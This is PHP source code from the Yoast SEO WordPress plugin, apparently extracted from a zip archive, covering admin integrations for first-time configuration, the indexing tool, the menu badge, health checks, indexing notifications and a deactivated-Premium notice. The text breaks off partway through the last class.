		return [ Admin_Conditional::class ];
	}

	/**
	 * First_Time_Configuration_Integration constructor.
	 *
	 * @param WPSEO_Admin_Asset_Manager $admin_asset_manager    The admin asset manager.
	 * @param WPSEO_Addon_Manager       $addon_manager          The addon manager.
	 * @param WPSEO_Shortlinker         $shortlinker            The shortlinker.
	 * @param Options_Helper            $options_helper         The options helper.
	 * @param Social_Profiles_Helper    $social_profiles_helper The social profile helper.
	 * @param Product_Helper            $product_helper         The product helper.
	 * @param Meta_Tags_Context         $meta_tags_context      The meta tags context helper.
	 */
	public function __construct(
		WPSEO_Admin_Asset_Manager $admin_asset_manager,
		WPSEO_Addon_Manager $addon_manager,
		WPSEO_Shortlinker $shortlinker,
		Options_Helper $options_helper,
		Social_Profiles_Helper $social_profiles_helper,
		Product_Helper $product_helper,
		Meta_Tags_Context $meta_tags_context
	) {
		$this->admin_asset_manager    = $admin_asset_manager;
		$this->addon_manager          = $addon_manager;
		$this->shortlinker            = $shortlinker;
		$this->options_helper         = $options_helper;
		$this->social_profiles_helper = $social_profiles_helper;
		$this->product_helper         = $product_helper;
		$this->meta_tags_context      = $meta_tags_context;
	}

	/**
	 * {@inheritDoc}
	 */
	public function register_hooks() {
		\add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_assets' ] );
		\add_action( 'wpseo_settings_tabs_dashboard', [ $this, 'add_first_time_configuration_tab' ] );
	}

	/**
	 * Adds a dedicated tab in the General sub-page.
	 *
	 * @param WPSEO_Options_Tabs $dashboard_tabs Object representing the tabs of the General sub-page.
	 *
	 * @return void
	 */
	public function add_first_time_configuration_tab( $dashboard_tabs ) {
		$dashboard_tabs->add_tab(
			new WPSEO_Option_Tab(
				'first-time-configuration',
				\__( 'First-time configuration', 'wordpress-seo' ),
				[ 'save_button' => false ]
			)
		);
	}

	/**
	 * Adds the data for the first-time configuration to the wpseoFirstTimeConfigurationData object.
	 *
	 * @return void
	 */
	public function enqueue_assets() {
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Date is not processed or saved.
		if ( ! isset( $_GET['page'] ) || ( $_GET['page'] !== 'wpseo_dashboard' && $_GET['page'] !== General_Page_Integration::PAGE ) || \is_network_admin() ) {
			return;
		}

		$this->admin_asset_manager->enqueue_script( 'indexation' );
		$this->admin_asset_manager->enqueue_style( 'first-time-configuration' );
		$this->admin_asset_manager->enqueue_style( 'admin-css' );
		$this->admin_asset_manager->enqueue_style( 'monorepo' );

		$data = [
			'disabled'     => ! \YoastSEO()->helpers->indexable->should_index_indexables(),
			'amount'       => \YoastSEO()->helpers->indexing->get_filtered_unindexed_count(),
			'firstTime'    => ( \YoastSEO()->helpers->indexing->is_initial_indexing() === true ),
			'errorMessage' => '',
			'restApi'      => [
				'root'               => \esc_url_raw( \rest_url() ),
				'indexing_endpoints' => $this->get_endpoints(),
				'nonce'              => \wp_create_nonce( 'wp_rest' ),
			],
		];

		/**
		 * Filter: 'wpseo_indexing_data' Filter to adapt the data used in the indexing process.
		 *
		 * @param array $data The indexing data to adapt.
		 */
		$data = \apply_filters( 'wpseo_indexing_data', $data );

		$this->admin_asset_manager->localize_script( 'indexation', 'yoastIndexingData', $data );

		$person_id       = $this->get_person_id();
		$social_profiles = $this->get_social_profiles();

		// This filter is documented in admin/views/tabs/metas/paper-content/general/knowledge-graph.php.
		$knowledge_graph_message = \apply_filters( 'wpseo_knowledge_graph_setting_msg', '' );

		$finished_steps        = $this->get_finished_steps();
		$options               = $this->get_company_or_person_options();
		$selected_option_label = '';
		$filtered_options      = \array_filter(
			$options,
			function ( $item ) {
				return $item['value'] === $this->is_company_or_person();
			}
		);
		$selected_option       = \reset( $filtered_options );
		if ( \is_array( $selected_option ) ) {
			$selected_option_label = $selected_option['label'];
		}

		$data_ftc = [
			'canEditUser'                => $this->can_edit_profile( $person_id ),
			'companyOrPerson'            => $this->is_company_or_person(),
			'companyOrPersonLabel'       => $selected_option_label,
			'companyName'                => $this->get_company_name(),
			'fallbackCompanyName'        => $this->get_fallback_company_name( $this->get_company_name() ),
			'websiteName'                => $this->get_website_name(),
			'fallbackWebsiteName'        => $this->get_fallback_website_name( $this->get_website_name() ),
			'companyLogo'                => $this->get_company_logo(),
			'companyLogoFallback'        => $this->get_company_fallback_logo( $this->get_company_logo() ),
			'companyLogoId'              => $this->get_person_logo_id(),
			'finishedSteps'              => $finished_steps,
			'personId'                   => (int) $person_id,
			'personName'                 => $this->get_person_name(),
			'personLogo'                 => $this->get_person_logo(),
			'personLogoFallback'         => $this->get_person_fallback_logo( $this->get_person_logo() ),
			'personLogoId'               => $this->get_person_logo_id(),
			'siteTagline'                => $this->get_site_tagline(),
			'socialProfiles'             => [
				'facebookUrl'     => $social_profiles['facebook_site'],
				'twitterUsername' => $social_profiles['twitter_site'],
				'otherSocialUrls' => $social_profiles['other_social_urls'],
			],
			'isPremium'                  => $this->product_helper->is_premium(),
			'tracking'                   => $this->has_tracking_enabled(),
			'isTrackingAllowedMultisite' => $this->is_tracking_enabled_multisite(),
			'isMainSite'                 => $this->is_main_site(),
			'companyOrPersonOptions'     => $options,
			'shouldForceCompany'         => $this->should_force_company(),
			'knowledgeGraphMessage'      => $knowledge_graph_message,
			'shortlinks'                 => [
				'gdpr'                     => $this->shortlinker->build_shortlink( 'https://yoa.st/gdpr-config-workout' ),
				'configIndexables'         => $this->shortlinker->build_shortlink( 'https://yoa.st/config-indexables' ),
				'configIndexablesBenefits' => $this->shortlinker->build_shortlink( 'https://yoa.st/config-indexables-benefits' ),
			],
		];

		$this->admin_asset_manager->localize_script( 'general-page', 'wpseoFirstTimeConfigurationData', $data_ftc );
	}

	/**
	 * Retrieves a list of the endpoints to use.
	 *
	 * @return array The endpoints.
	 */
	protected function get_endpoints() {
		$endpoints = [
			'prepare'            => Indexing_Route::FULL_PREPARE_ROUTE,
			'terms'              => Indexing_Route::FULL_TERMS_ROUTE,
			'posts'              => Indexing_Route::FULL_POSTS_ROUTE,
			'archives'           => Indexing_Route::FULL_POST_TYPE_ARCHIVES_ROUTE,
			'general'            => Indexing_Route::FULL_GENERAL_ROUTE,
			'indexablesComplete' => Indexing_Route::FULL_INDEXABLES_COMPLETE_ROUTE,
			'post_link'          => Indexing_Route::FULL_POST_LINKS_INDEXING_ROUTE,
			'term_link'          => Indexing_Route::FULL_TERM_LINKS_INDEXING_ROUTE,
		];

		$endpoints = \apply_filters( 'wpseo_indexing_endpoints', $endpoints );

		$endpoints['complete'] = Indexing_Route::FULL_COMPLETE_ROUTE;

		return $endpoints;
	}

	// ** Private functions ** //

	/**
	 * Returns the finished steps array.
	 *
	 * @return array An array with the finished steps.
	 */
	private function get_finished_steps() {
		return $this->options_helper->get( 'configuration_finished_steps', [] );
	}

	/**
	 * Returns the entity represented by the site.
	 *
	 * @return string The entity represented by the site.
	 */
	private function is_company_or_person() {
		return $this->options_helper->get( 'company_or_person', '' );
	}

	/**
	 * Gets the company name from the option in the database.
	 *
	 * @return string The company name.
	 */
	private function get_company_name() {
		return $this->options_helper->get( 'company_name', '' );
	}

	/**
	 * Gets the fallback company name from the option in the database if there is no company name.
	 *
	 * @param string $company_name The given company name by the user, default empty string.
	 *
	 * @return string|false The company name.
	 */
	private function get_fallback_company_name( $company_name ) {
		if ( $company_name ) {
			return false;
		}

		return \get_bloginfo( 'name' );
	}

	/**
	 * Gets the website name from the option in the database.
	 *
	 * @return string The website name.
	 */
	private function get_website_name() {
		return $this->options_helper->get( 'website_name', '' );
	}

	/**
	 * Gets the fallback website name from the option in the database if there is no website name.
	 *
	 * @param string $website_name The given website name by the user, default empty string.
	 *
	 * @return string|false The website name.
	 */
	private function get_fallback_website_name( $website_name ) {
		if ( $website_name ) {
			return false;
		}

		return \get_bloginfo( 'name' );
	}

	/**
	 * Gets the company logo from the option in the database.
	 *
	 * @return string The company logo.
	 */
	private function get_company_logo() {
		return $this->options_helper->get( 'company_logo', '' );
	}

	/**
	 * Gets the company logo id from the option in the database.
	 *
	 * @return string The company logo id.
	 */
	private function get_company_logo_id() {
		return $this->options_helper->get( 'company_logo_id', '' );
	}

	/**
	 * Gets the company logo url from the option in the database.
	 *
	 * @param string $company_logo The given company logo by the user, default empty.
	 *
	 * @return string|false The company logo URL.
	 */
	private function get_company_fallback_logo( $company_logo ) {
		if ( $company_logo ) {
			return false;
		}
		$logo_id = $this->meta_tags_context->fallback_to_site_logo();

		return \esc_url( \wp_get_attachment_url( $logo_id ) );
	}

	/**
	 * Gets the person id from the option in the database.
	 *
	 * @return int|null The person id, null if empty.
	 */
	private function get_person_id() {
		return $this->options_helper->get( 'company_or_person_user_id' );
	}

	/**
	 * Gets the person id from the option in the database.
	 *
	 * @return int|null The person id, null if empty.
	 */
	private function get_person_name() {
		$user = \get_userdata( $this->get_person_id() );
		if ( $user instanceof WP_User ) {
			return $user->get( 'display_name' );
		}

		return '';
	}

	/**
	 * Gets the person avatar from the option in the database.
	 *
	 * @return string The person logo.
	 */
	private function get_person_logo() {
		return $this->options_helper->get( 'person_logo', '' );
	}

	/**
	 * Gets the person logo url from the option in the database.
	 *
	 * @param string $person_logo The given person logo by the user, default empty.
	 *
	 * @return string|false The person logo URL.
	 */
	private function get_person_fallback_logo( $person_logo ) {
		if ( $person_logo ) {
			return false;
		}
		$logo_id = $this->meta_tags_context->fallback_to_site_logo();

		return \esc_url( \wp_get_attachment_url( $logo_id ) );
	}

	/**
	 * Gets the person logo id from the option in the database.
	 *
	 * @return string The person logo id.
	 */
	private function get_person_logo_id() {
		return $this->options_helper->get( 'person_logo_id', '' );
	}

	/**
	 * Gets the site tagline.
	 *
	 * @return string The site tagline.
	 */
	private function get_site_tagline() {
		return \get_bloginfo( 'description' );
	}

	/**
	 * Gets the social profiles stored in the database.
	 *
	 * @return string[] The social profiles.
	 */
	private function get_social_profiles() {
		return $this->social_profiles_helper->get_organization_social_profiles();
	}

	/**
	 * Checks whether tracking is enabled.
	 *
	 * @return bool True if tracking is enabled, false otherwise, null if in Free and conf. workout step not finished.
	 */
	private function has_tracking_enabled() {
		$default = false;

		if ( $this->product_helper->is_premium() ) {
			$default = true;
		}

		return $this->options_helper->get( 'tracking', $default );
	}

	/**
	 * Checks whether tracking option is allowed at network level.
	 *
	 * @return bool True if option change is allowed, false otherwise.
	 */
	private function is_tracking_enabled_multisite() {
		$default = true;

		if ( ! \is_multisite() ) {
			return $default;
		}

		return $this->options_helper->get( 'allow_tracking', $default );
	}

	/**
	 * Checks whether we are in a main site.
	 *
	 * @return bool True if it's the main site or a single site, false if it's a subsite.
	 */
	private function is_main_site() {
		return \is_main_site();
	}

	/**
	 * Gets the options for the Company or Person select.
	 * Returns only the company option if it is forced (by Local SEO), otherwise returns company and person option.
	 *
	 * @return array The options for the company-or-person select.
	 */
	private function get_company_or_person_options() {
		$options = [
			[
				'label' => \__( 'Organization', 'wordpress-seo' ),
				'value' => 'company',
				'id'    => 'company',
			],
			[
				'label' => \__( 'Person', 'wordpress-seo' ),
				'value' => 'person',
				'id'    => 'person',
			],
		];
		if ( $this->should_force_company() ) {
			$options = [
				[
					'label' => \__( 'Organization', 'wordpress-seo' ),
					'value' => 'company',
					'id'    => 'company',
				],
			];
		}

		return $options;
	}

	/**
	 * Checks whether we should force "Organization".
	 *
	 * @return bool
	 */
	private function should_force_company() {
		return $this->addon_manager->is_installed( WPSEO_Addon_Manager::LOCAL_SLUG );
	}

	/**
	 * Checks if the current user has the capability to edit a specific user.
	 *
	 * @param int $person_id The id of the person to edit.
	 *
	 * @return bool
	 */
	private function can_edit_profile( $person_id ) {
		return \current_user_can( 'edit_user', $person_id );
	}
}
PK       ! хj$  $  #  admin/indexing-tool-integration.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Admin;

use WPSEO_Addon_Manager;
use WPSEO_Admin_Asset_Manager;
use Yoast\WP\SEO\Conditionals\Migrations_Conditional;
use Yoast\WP\SEO\Conditionals\No_Tool_Selected_Conditional;
use Yoast\WP\SEO\Conditionals\Yoast_Tools_Page_Conditional;
use Yoast\WP\SEO\Helpers\Indexable_Helper;
use Yoast\WP\SEO\Helpers\Indexing_Helper;
use Yoast\WP\SEO\Helpers\Product_Helper;
use Yoast\WP\SEO\Helpers\Short_Link_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Presenters\Admin\Indexing_Error_Presenter;
use Yoast\WP\SEO\Presenters\Admin\Indexing_List_Item_Presenter;
use Yoast\WP\SEO\Routes\Importing_Route;
use Yoast\WP\SEO\Routes\Indexing_Route;
use Yoast\WP\SEO\Services\Importing\Importable_Detector_Service;

/**
 * Class Indexing_Tool_Integration. Bridge to the Javascript indexing tool on Yoast SEO Tools page.
 *
 * @package Yoast\WP\SEO\Integrations\Admin
 */
class Indexing_Tool_Integration implements Integration_Interface {

	/**
	 * Represents the admin asset manager.
	 *
	 * @var WPSEO_Admin_Asset_Manager
	 */
	protected $asset_manager;

	/**
	 * Represents the indexables helper.
	 *
	 * @var Indexable_Helper
	 */
	protected $indexable_helper;

	/**
	 * The short link helper.
	 *
	 * @var Short_Link_Helper
	 */
	protected $short_link_helper;

	/**
	 * Represents the indexing helper.
	 *
	 * @var Indexing_Helper
	 */
	protected $indexing_helper;

	/**
	 * The addon manager.
	 *
	 * @var WPSEO_Addon_Manager
	 */
	protected $addon_manager;

	/**
	 * The product helper.
	 *
	 * @var Product_Helper
	 */
	protected $product_helper;

	/**
	 * The Importable Detector service.
	 *
	 * @var Importable_Detector_Service
	 */
	protected $importable_detector;

	/**
	 * The Importing Route class.
	 *
	 * @var Importing_Route
	 */
	protected $importing_route;

	/**
	 * Returns the conditionals based on which this integration should be active.
	 *
	 * @return array The array of conditionals.
	 */
	public static function get_conditionals() {
		return [
			Migrations_Conditional::class,
			No_Tool_Selected_Conditional::class,
			Yoast_Tools_Page_Conditional::class,
		];
	}

	/**
	 * Indexing_Integration constructor.
	 *
	 * @param WPSEO_Admin_Asset_Manager   $asset_manager       The admin asset manager.
	 * @param Indexable_Helper            $indexable_helper    The indexable helper.
	 * @param Short_Link_Helper           $short_link_helper   The short link helper.
	 * @param Indexing_Helper             $indexing_helper     The indexing helper.
	 * @param WPSEO_Addon_Manager         $addon_manager       The addon manager.
	 * @param Product_Helper              $product_helper      The product helper.
	 * @param Importable_Detector_Service $importable_detector The importable detector.
	 * @param Importing_Route             $importing_route     The importing route.
	 */
	public function __construct(
		WPSEO_Admin_Asset_Manager $asset_manager,
		Indexable_Helper $indexable_helper,
		Short_Link_Helper $short_link_helper,
		Indexing_Helper $indexing_helper,
		WPSEO_Addon_Manager $addon_manager,
		Product_Helper $product_helper,
		Importable_Detector_Service $importable_detector,
		Importing_Route $importing_route
	) {
		$this->asset_manager       = $asset_manager;
		$this->indexable_helper    = $indexable_helper;
		$this->short_link_helper   = $short_link_helper;
		$this->indexing_helper     = $indexing_helper;
		$this->addon_manager       = $addon_manager;
		$this->product_helper      = $product_helper;
		$this->importable_detector = $importable_detector;
		$this->importing_route     = $importing_route;
	}

	/**
	 * Register hooks.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'wpseo_tools_overview_list_items_internal', [ $this, 'render_indexing_list_item' ], 10 );
		\add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_scripts' ], 10 );
	}

	/**
	 * Enqueues the required scripts.
	 *
	 * @return void
	 */
	public function enqueue_scripts() {
		$this->asset_manager->enqueue_script( 'indexation' );
		$this->asset_manager->enqueue_style( 'admin-css' );
		$this->asset_manager->enqueue_style( 'monorepo' );

		$data = [
			'disabled'                    => ! $this->indexable_helper->should_index_indexables(),
			'amount'                      => $this->indexing_helper->get_filtered_unindexed_count(),
			'firstTime'                   => ( $this->indexing_helper->is_initial_indexing() === true ),
			'errorMessage'                => $this->render_indexing_error(),
			'restApi'                     => [
				'root'                => \esc_url_raw( \rest_url() ),
				'indexing_endpoints'  => $this->get_indexing_endpoints(),
				'importing_endpoints' => $this->get_importing_endpoints(),
				'nonce'               => \wp_create_nonce( 'wp_rest' ),
			],
		];

		/**
		 * Filter: 'wpseo_indexing_data' Filter to adapt the data used in the indexing process.
		 *
		 * @param array $data The indexing data to adapt.
		 */
		$data = \apply_filters( 'wpseo_indexing_data', $data );

		$this->asset_manager->localize_script( 'indexation', 'yoastIndexingData', $data );
	}

	/**
	 * The error to show if optimization failed.
	 *
	 * @return string The error to show if optimization failed.
	 */
	protected function render_indexing_error() {
		$presenter = new Indexing_Error_Presenter(
			$this->short_link_helper,
			$this->product_helper,
			$this->addon_manager
		);

		return $presenter->present();
	}

	/**
	 * Determines if the site has a valid Premium subscription.
	 *
	 * @return bool If the site has a valid Premium subscription.
	 */
	protected function has_valid_premium_subscription() {
		return $this->addon_manager->has_valid_subscription( WPSEO_Addon_Manager::PREMIUM_SLUG );
	}

	/**
	 * Renders the indexing list item.
	 *
	 * @return void
	 */
	public function render_indexing_list_item() {
		if ( \current_user_can( 'manage_options' ) ) {
			// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- The output is correctly escaped in the presenter.
			echo new Indexing_List_Item_Presenter( $this->short_link_helper );
		}
	}

	/**
	 * Retrieves a list of the indexing endpoints to use.
	 *
	 * @return array The endpoints.
	 */
	protected function get_indexing_endpoints() {
		$endpoints = [
			'prepare'            => Indexing_Route::FULL_PREPARE_ROUTE,
			'terms'              => Indexing_Route::FULL_TERMS_ROUTE,
			'posts'              => Indexing_Route::FULL_POSTS_ROUTE,
			'archives'           => Indexing_Route::FULL_POST_TYPE_ARCHIVES_ROUTE,
			'general'            => Indexing_Route::FULL_GENERAL_ROUTE,
			'indexablesComplete' => Indexing_Route::FULL_INDEXABLES_COMPLETE_ROUTE,
			'post_link'          => Indexing_Route::FULL_POST_LINKS_INDEXING_ROUTE,
			'term_link'          => Indexing_Route::FULL_TERM_LINKS_INDEXING_ROUTE,
		];

		$endpoints = \apply_filters( 'wpseo_indexing_endpoints', $endpoints );

		$endpoints['complete'] = Indexing_Route::FULL_COMPLETE_ROUTE;

		return $endpoints;
	}

	/**
	 * Retrieves a list of the importing endpoints to use.
	 *
	 * @return array The endpoints.
	 */
	protected function get_importing_endpoints() {
		$available_actions   = $this->importable_detector->detect_importers();
		$importing_endpoints = [];

		foreach ( $available_actions as $plugin => $types ) {
			foreach ( $types as $type ) {
				$importing_endpoints[ $plugin ][] = $this->importing_route->get_endpoint( $plugin, $type );
			}
		}

		return $importing_endpoints;
	}
}
PK       !        admin/menu-badge-integration.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Admin;

use WPSEO_Admin_Asset_Manager;
use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Menu_Badge_Integration class.
 */
class Menu_Badge_Integration implements Integration_Interface {

	/**
	 * {@inheritDoc}
	 */
	public static function get_conditionals() {
		return [ Admin_Conditional::class ];
	}

	/**
	 * {@inheritDoc}
	 */
	public function register_hooks() {
		\add_action( 'admin_enqueue_scripts', [ $this, 'add_inline_styles' ] );
	}

	/**
	 * Renders the migration error.
	 *
	 * @return void
	 */
	public function add_inline_styles() {
		$custom_css = 'ul.wp-submenu span.yoast-premium-badge::after, #wpadminbar span.yoast-premium-badge::after { content:"'
			. \__( 'Premium', 'wordpress-seo' ) . '"}';
		\wp_add_inline_style( WPSEO_Admin_Asset_Manager::PREFIX . 'admin-global', $custom_css );
	}
}
PK       ! T	߾
  
  "  admin/health-check-integration.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Admin;

use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Services\Health_Check\Health_Check;

/**
 * Integrates health checks with WordPress' Site Health.
 */
class Health_Check_Integration implements Integration_Interface {

	/**
	 * Contains all the health check implementations.
	 *
	 * @var Health_Check[]
	 */
	private $health_checks = [];

	/**
	 * Uses the dependency injection container to obtain all available implementations of the Health_Check interface.
	 *
	 * @param  Health_Check ...$health_checks The available health checks implementations.
	 */
	public function __construct( Health_Check ...$health_checks ) {
		$this->health_checks = $health_checks;
	}

	/**
	 * Hooks the health checks into WordPress' site status tests.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_filter( 'site_status_tests', [ $this, 'add_health_checks' ] );
	}

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * In this case: only when on an admin page.
	 *
	 * @return array The conditionals.
	 */
	public static function get_conditionals() {
		return [ Admin_Conditional::class ];
	}

	/**
	 * Checks if the input is a WordPress site status tests array, and adds Yoast's health checks if it is.
	 *
	 * @param  string[] $tests Array containing WordPress site status tests.
	 * @return string[] Array containing WordPress site status tests with Yoast's health checks.
	 */
	public function add_health_checks( $tests ) {
		if ( ! $this->is_valid_site_status_tests_array( $tests ) ) {
			return $tests;
		}

		return $this->add_health_checks_to_site_status_tests( $tests );
	}

	/**
	 * Checks if the input array is a WordPress site status tests array.
	 *
	 * @param  mixed $tests Array to check.
	 * @return bool Returns true if the input array is a WordPress site status tests array.
	 */
	private function is_valid_site_status_tests_array( $tests ) {
		if ( ! \is_array( $tests ) ) {
			return false;
		}

		if ( ! \array_key_exists( 'direct', $tests ) ) {
			return false;
		}

		if ( ! \is_array( $tests['direct'] ) ) {
			return false;
		}

		return true;
	}

	/**
	 * Adds the health checks to WordPress' site status tests.
	 *
	 * @param  string[] $tests Array containing WordPress site status tests.
	 * @return string[] Array containing WordPress site status tests with Yoast's health checks.
	 */
	private function add_health_checks_to_site_status_tests( $tests ) {
		foreach ( $this->health_checks as $health_check ) {
			$tests['direct'][ $health_check->get_test_identifier() ] = [
				'test' => [ $health_check, 'run_and_get_result' ],
			];
		}

		return $tests;
	}
}
PK       ! ;r    +  admin/indexing-notification-integration.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Admin;

use WPSEO_Addon_Manager;
use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Conditionals\Not_Admin_Ajax_Conditional;
use Yoast\WP\SEO\Conditionals\User_Can_Manage_Wpseo_Options_Conditional;
use Yoast\WP\SEO\Config\Indexing_Reasons;
use Yoast\WP\SEO\Helpers\Current_Page_Helper;
use Yoast\WP\SEO\Helpers\Environment_Helper;
use Yoast\WP\SEO\Helpers\Indexing_Helper;
use Yoast\WP\SEO\Helpers\Notification_Helper;
use Yoast\WP\SEO\Helpers\Product_Helper;
use Yoast\WP\SEO\Helpers\Short_Link_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Presenters\Admin\Indexing_Failed_Notification_Presenter;
use Yoast\WP\SEO\Presenters\Admin\Indexing_Notification_Presenter;
use Yoast_Notification;
use Yoast_Notification_Center;

/**
 * Class Indexing_Notification_Integration.
 *
 * @package Yoast\WP\SEO\Integrations\Admin
 */
class Indexing_Notification_Integration implements Integration_Interface {

	/**
	 * The notification ID.
	 */
	public const NOTIFICATION_ID = 'wpseo-reindex';

	/**
	 * The Yoast notification center.
	 *
	 * @var Yoast_Notification_Center
	 */
	protected $notification_center;

	/**
	 * The product helper.
	 *
	 * @var Product_Helper
	 */
	protected $product_helper;

	/**
	 * The current page helper.
	 *
	 * @var Current_Page_Helper
	 */
	protected $page_helper;

	/**
	 * The short link helper.
	 *
	 * @var Short_Link_Helper
	 */
	protected $short_link_helper;

	/**
	 * The notification helper.
	 *
	 * @var Notification_Helper
	 */
	protected $notification_helper;

	/**
	 * The indexing helper.
	 *
	 * @var Indexing_Helper
	 */
	protected $indexing_helper;

	/**
	 * The Addon Manager.
	 *
	 * @var WPSEO_Addon_Manager
	 */
	protected $addon_manager;

	/**
	 * The Environment Helper.
	 *
	 * @var Environment_Helper
	 */
	protected $environment_helper;

	/**
	 * Indexing_Notification_Integration constructor.
	 *
	 * @param Yoast_Notification_Center $notification_center The notification center.
	 * @param Product_Helper            $product_helper      The product helper.
	 * @param Current_Page_Helper       $page_helper         The current page helper.
	 * @param Short_Link_Helper         $short_link_helper   The short link helper.
	 * @param Notification_Helper       $notification_helper The notification helper.
	 * @param Indexing_Helper           $indexing_helper     The indexing helper.
	 * @param WPSEO_Addon_Manager       $addon_manager       The addon manager.
	 * @param Environment_Helper        $environment_helper  The environment helper.
	 */
	public function __construct(
		Yoast_Notification_Center $notification_center,
		Product_Helper $product_helper,
		Current_Page_Helper $page_helper,
		Short_Link_Helper $short_link_helper,
		Notification_Helper $notification_helper,
		Indexing_Helper $indexing_helper,
		WPSEO_Addon_Manager $addon_manager,
		Environment_Helper $environment_helper
	) {
		$this->notification_center = $notification_center;
		$this->product_helper      = $product_helper;
		$this->page_helper         = $page_helper;
		$this->short_link_helper   = $short_link_helper;
		$this->notification_helper = $notification_helper;
		$this->indexing_helper     = $indexing_helper;
		$this->addon_manager       = $addon_manager;
		$this->environment_helper  = $environment_helper;
	}

	/**
	 * Initializes the integration.
	 *
	 * Adds hooks and jobs to cleanup or add the notification when necessary.
	 *
	 * @return void
	 */
	public function register_hooks() {
		if ( $this->page_helper->get_current_yoast_seo_page() === 'wpseo_dashboard' ) {
			\add_action( 'admin_init', [ $this, 'maybe_cleanup_notification' ] );
		}

		if ( $this->indexing_helper->has_reason() ) {
			\add_action( 'admin_init', [ $this, 'maybe_create_notification' ] );
		}

		\add_action( self::NOTIFICATION_ID, [ $this, 'maybe_create_notification' ] );
	}

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array The conditionals.
	 */
	public static function get_conditionals() {
		return [
			Admin_Conditional::class,
			Not_Admin_Ajax_Conditional::class,
			User_Can_Manage_Wpseo_Options_Conditional::class,
		];
	}

	/**
	 * Checks whether the notification should be shown and adds
	 * it to the notification center if this is the case.
	 *
	 * @return void
	 */
	public function maybe_create_notification() {
		if ( ! $this->should_show_notification() ) {
			return;
		}

		if ( ! $this->notification_center->get_notification_by_id( self::NOTIFICATION_ID ) ) {
			$notification = $this->notification();
			$this->notification_helper->restore_notification( $notification );
			$this->notification_center->add_notification( $notification );
		}
	}

	/**
	 * Checks whether the notification should not be shown anymore and removes
	 * it from the notification center if this is the case.
	 *
	 * @return void
	 */
	public function maybe_cleanup_notification() {
		$notification = $this->notification_center->get_notification_by_id( self::NOTIFICATION_ID );

		if ( $notification === null ) {
			return;
		}

		if ( $this->should_show_notification() ) {
			return;
		}

		$this->notification_center->remove_notification_by_id( self::NOTIFICATION_ID );
	}

	/**
	 * Checks whether the notification should be shown.
	 *
	 * @return bool If the notification should be shown.
	 */
	protected function should_show_notification() {
		if ( ! $this->environment_helper->is_production_mode() ) {
			return false;
		}
		// Don't show a notification if the indexing has already been started earlier.
		if ( $this->indexing_helper->get_started() > 0 ) {
			return false;
		}

		// We're about to perform expensive queries, let's inform.
		\add_filter( 'wpseo_unindexed_count_queries_ran', '__return_true' );

		// Never show a notification when nothing should be indexed.
		return $this->indexing_helper->get_limited_filtered_unindexed_count( 1 ) > 0;
	}

	/**
	 * Returns an instance of the notification.
	 *
	 * @return Yoast_Notification The notification to show.
	 */
	protected function notification() {
		$reason = $this->indexing_helper->get_reason();

		$presenter = $this->get_presenter( $reason );

		return new Yoast_Notification(
			$presenter,
			[
				'type'         => Yoast_Notification::WARNING,
				'id'           => self::NOTIFICATION_ID,
				'capabilities' => 'wpseo_manage_options',
				'priority'     => 0.8,
			]
		);
	}

	/**
	 * Gets the presenter to use to show the notification.
	 *
	 * @param string $reason The reason for the notification.
	 *
	 * @return Indexing_Failed_Notification_Presenter|Indexing_Notification_Presenter
	 */
	protected function get_presenter( $reason ) {
		if ( $reason === Indexing_Reasons::REASON_INDEXING_FAILED ) {
			$presenter = new Indexing_Failed_Notification_Presenter( $this->product_helper, $this->short_link_helper, $this->addon_manager );
		}
		else {
			$total_unindexed = $this->indexing_helper->get_filtered_unindexed_count();
			$presenter       = new Indexing_Notification_Presenter( $this->short_link_helper, $total_unindexed, $reason );
		}

		return $presenter;
	}
}
PK       ! x<    )  admin/deactivated-premium-integration.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Admin;

use WPSEO_Admin_Asset_Manager;
use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Conditionals\Non_Multisite_Conditional;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Presenters\Admin\Notice_Presenter;

/**
 * Deactivated_Premium_Integration class
 */
class Deactivated_Premium_Integration implements Integration_Interface {

	/**
	 * The options' helper.
	 *
	 * @var Options_Helper
	 */
	private $options_helper;

	/**
	 * The admin asset manager.
	 *
	 * @var WPSEO_Admin_Asset_Manager
	 */
	private $admin_asset_manager;

	/**
	 * {@inheritDoc}
	 */
	public static function get_conditionals() {
		return [ Admin_Conditional::class, Non_Multisite_Conditional::class ];
	}

	/**
	 * First_Time_Configuration_Notice_Integration constructor.
	 *
	 * @param Options_Helper            $options_helper      The options helper.
	 * @param WPSEO_Admin_Asset_Manager $admin_asset_manager The admin asset manager.
	 */
	public function __construct(
		Options_Helper $options_helper,
		WPSEO_Admin_Asset_Manager $admin_asset_manager
	) {
		$this->options_helper      = $options_helper;
		$this->admin_asset_manager = $admin_asset_manager;
	}

	/**
	 * {@inheritDoc}
	 */
	public function register_hooks() {
		\add_action( 'admin_notices', [ $this, 'premium_deactivated_notice' ] );
		\add_action( 'wp_ajax_dismiss_premium_deactivated_notice', [ $this, 'dismiss_premium_deactivated_notice' ] );
	}

	/**
	 * Shows a notice if premium is installed but not activated.
	 *
	 * @return void
	 */
	public function premium_deactivated_notice() {
		global $pagenow;
		if ( $pagenow === 'update.php' ) {
			return;
		}

		if ( $this->options_helper->get( 'dismiss_premium_deactivated_notice', false ) === true ) {
			return;
		}

